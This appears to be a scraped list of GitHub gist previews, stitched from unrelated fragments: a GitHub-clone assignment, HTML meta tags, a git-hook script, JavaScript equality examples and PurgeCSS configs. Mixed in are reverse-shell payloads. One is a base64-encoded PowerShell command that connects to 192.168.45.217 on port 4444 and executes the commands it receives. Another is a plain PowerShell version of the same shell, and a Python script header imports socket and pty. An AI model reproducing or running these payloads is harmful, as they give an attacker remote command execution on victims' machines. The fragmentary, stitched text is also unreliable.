Make a Github clone using the Github API (https://developer.github.com/v3/). The design is optional, but the look and feel has to be different from the current Github design.
The app will have 3 routes:
- /home
- /search
- /user/:username
| #!/usr/bin/env python3 | |
| import argparse | |
| import socket | |
| import os | |
| import pty | |
| import sys | |
| import time | |
| WAIT_CONNECTION = 10 |
| JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQA5ADIALgAxADYAOAAuADQANQAuADIAMQA3ACcALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAnAFAAUwAgACcAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAnAD4AIAAnADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQA |
| function cleanup { | |
| if ($client.Connected -eq $true) {$client.Close()} | |
| if ($process.ExitCode -ne $null) {$process.Close()} | |
| exit} | |
| // Setup IPADDR | |
| $address = '192.168.45.217' | |
| // Setup PORT | |
| $port = '4444' | |
| $client = New-Object system.net.sockets.tcpclient | |
| $client.connect($address,$port) |
| <meta charset="utf-8" /> | |
| <meta name="viewport" content="width=device-width, initial-scale=1" /> | |
| <meta name="theme-color" content="#0095b6" /> | |
| <link href="https://cdn.company.com" rel="dns-prefetch" /> | |
| <title>Title of the page</title> | |
| <meta name="keywords" content="company name, company category" /> | |
| <meta name="description" content="company description" /> |
Make a Github clone using the Github API (https://developer.github.com/v3/). The design is optional, but the look and feel has to be different from the current Github design.
The app will have 3 routes:
| #!/bin/sh | |
| #yorkie 2.0.0 | |
| command_exists () { | |
| command -v "$1" >/dev/null 2>&1 | |
| } | |
| has_hook_script () { | |
| [ -f package.json ] && cat package.json | grep -q "\"$1\"[[:space:]]*:" | |
| } |
Required VSCode plugins:
IMPORTANT:
There are 2 files and 1 user settings file that have to be edited:
| //Primitive Type Comparison | |
| var a = 1; | |
| var b = 1; | |
| var c = a; | |
| console.log(a == b); //true | |
| console.log(a === b); //true | |
| console.log(a == c); //true | |
| console.log(a === c); //true |
| /** | |
| npm i --save-dev terser-webpack-plugin purgecss @fullhuman/postcss-purgecss purgecss-webpack-plugin glob-all path | |
| */ | |
| const TerserPlugin = require('terser-webpack-plugin') | |
| const PurgecssPlugin = require('purgecss-webpack-plugin') | |
| const glob = require('glob-all') // required for purgecss | |
| const path = require('path') // re quired for purgecss | |
| ... |
| /** | |
| 1) npm i -D purgecss @fullhuman/postcss-purgecss purgecss-webpack-plugin glob-all path | |
| 2) edit vue.config.js | |
| */ | |
| /** | |
| ** vue.config.js | |
| */ | |
| const PurgecssPlugin = require('purgecss-webpack-plugin'); | |
| const glob = require('glob-all'); |